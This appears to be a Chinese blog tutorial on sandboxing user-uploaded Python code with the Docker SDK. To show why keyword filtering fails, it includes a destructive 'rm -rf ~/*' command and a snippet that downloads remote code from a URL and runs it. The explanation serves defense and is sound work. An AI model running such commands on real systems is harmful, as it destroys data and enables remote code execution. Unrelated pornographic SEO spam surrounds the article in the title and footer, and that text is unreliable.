成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

一日一技:如何安全運行別人上傳的Python代碼?

開發 前端
涉及到用戶自己上傳代碼,我們第一個想到的問題,就是如何避免用戶編寫危險命令。如果用戶的代碼里面涉及到下面兩行,在不做任何安全過濾的情況下,就會導致服務器的Home文件夾被清空。

寫后端的同學,有時候需要在網站上實現一個功能,讓用戶上傳或者編寫自己的Python代碼。后端再運行這些代碼。

涉及到用戶自己上傳代碼,我們第一個想到的問題,就是如何避免用戶編寫危險命令。如果用戶的代碼里面涉及到下面兩行,在不做任何安全過濾的情況下,就會導致服務器的Home文件夾被清空。

import os
os.system('rm -rf ~/*')

有人想的比較簡單,直接判斷用戶的代碼里面有沒有os.system、exec、subprocess……這些危險關鍵詞不就可以了嗎?

這種想法乍看起來沒有問題,但細想下,就會發現非常天真。如果用戶的代碼像下面這樣寫,你又要如何應對?

import requests

code = requests.get('https://www.kingname.info/dangerous_code').text

with open('dangerous_code.py', 'w') as f:
    f.write(code)

dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code對應的代碼如下:

import os
def delete_all():
    os.system('rm -rf ~/*')

這樣就可以繞過關鍵字檢查,并成功刪除你的文件了。

如果你的網站本身就是一個爬蟲管理平臺,你檢查用戶自定義的代碼時,肯定不能過濾掉requests這種網絡請求庫。那么你就很難判斷用戶下載下來的東西是否包含惡意代碼。

而且惡意代碼不一定是刪除你的東西,它完全可以直接把你項目下面的所有代碼打包,上傳到它指定的URL中,這樣就能竊取你網站里面所有代碼。

為了避免這樣的情況發生,我們就必須找一個干凈又獨立的環境來運行用戶的代碼。干凈的環境能確保惡意代碼沒有東西可以偷,獨立的環境能確保他即使刪除了所有文件,也不會影響到你。

顯然,最簡單直接的辦法,就是使用Docker來運行用戶的代碼。而使用Docker并不一定需要在終端使用Shell命令。我們可以使用Docker的Python SDK來實現構建鏡像和運行鏡像。

首先,確保你的服務器上面已經有Docker,并且正在運行。接下來,安裝Docker SDK:

pip install docker

假設,你把用戶上傳的文件放在了user/<user_id>/upload文件夾下面,那么,首先你需要生成一個Dockerfile,并把這個Dockerfile放到upload文件夾中:

from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

當用戶添加/修改了第三方庫時,你只需要更新requirements.txt即可讓鏡像里面的依賴符合用戶的需求。

接下來,我們開始構建鏡像并運行代碼:

import docker
client = docker.from_env()

client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定義

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他參數)

這個代碼運行以后是非阻塞的,會立刻返回container對象。當你想查看代碼日志時,執行:

container.logs(tail=10) # 顯示最后10行日志

就可以看到相關的日志了。

關于Docker SDK的更多操作,可以看他的官方文檔:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

參考資料

[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

責任編輯:武曉燕 來源: 未聞Code
相關推薦

2024-07-30 08:11:16

2024-07-30 08:16:18

Python代碼工具

2021-10-15 21:08:31

PandasExcel對象

2025-05-28 03:15:00

Scrapy數據sleep

2022-06-28 09:31:44

LinuxmacOS系統

2022-03-12 20:38:14

網頁Python測試

2021-04-12 21:19:01

PythonMakefile項目

2024-11-13 09:18:09

2021-04-05 14:47:55

Python多線程事件監控

2020-05-19 13:55:38

Python加密密碼

2024-02-20 22:13:48

Python項目Java

2021-04-27 22:15:02

Selenium瀏覽器爬蟲

2023-10-28 12:14:35

爬蟲JavaScriptObject

2024-11-11 00:38:13

Mypy靜態類型

2021-05-08 19:33:51

移除字符零寬

2022-03-07 09:14:04

Selenium鼠標元素

2021-02-14 22:22:18

格式圖片 HTTP

2021-12-16 19:04:26

瀏覽器SeleniumChrome

2021-09-13 20:38:47

Python鏈式調用

2021-03-12 21:19:15

Python鏈式調用
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 伊人免费观看视频 | 午夜a级理论片915影院 | 黄色网络在线观看 | 欧美成视频| 久久精品国产精品青草 | a视频在线观看 | 毛片免费看的 | 国产乱码精品一区二区三区五月婷 | 欧美日韩在线一区 | 午夜日韩| 羞羞视频在线网站观看 | 本道综合精品 | 精品国产一区二区在线 | 欧美一区二区三区 | 日韩视频在线播放 | 午夜精品久久久久久久久久久久久 | 久久久精品一区二区三区四季av | 国产激情视频 | 成年人在线视频 | 91在线观看视频 | 中文字幕在线观看 | 国产精品久久久久国产a级 欧美日本韩国一区二区 | 国产乱码久久久久久一区二区 | 日韩精品成人 | 国产欧美精品区一区二区三区 | 91精品国产综合久久小仙女图片 | 国产视频在线一区二区 | 午夜免费成人 | 一区二区成人 | 亚洲欧洲精品一区 | 成人精品国产一区二区4080 | 日韩精品国产精品 | 精品国产1区2区3区 在线国产视频 | 日韩视频三区 | 免费在线成人 | 精品欧美黑人一区二区三区 | 久久精品国产一区二区三区不卡 | 天天干天天插天天 | 免费能直接在线观看黄的视频 | 日韩欧美一区二区三区免费观看 | 成人h动漫亚洲一区二区 |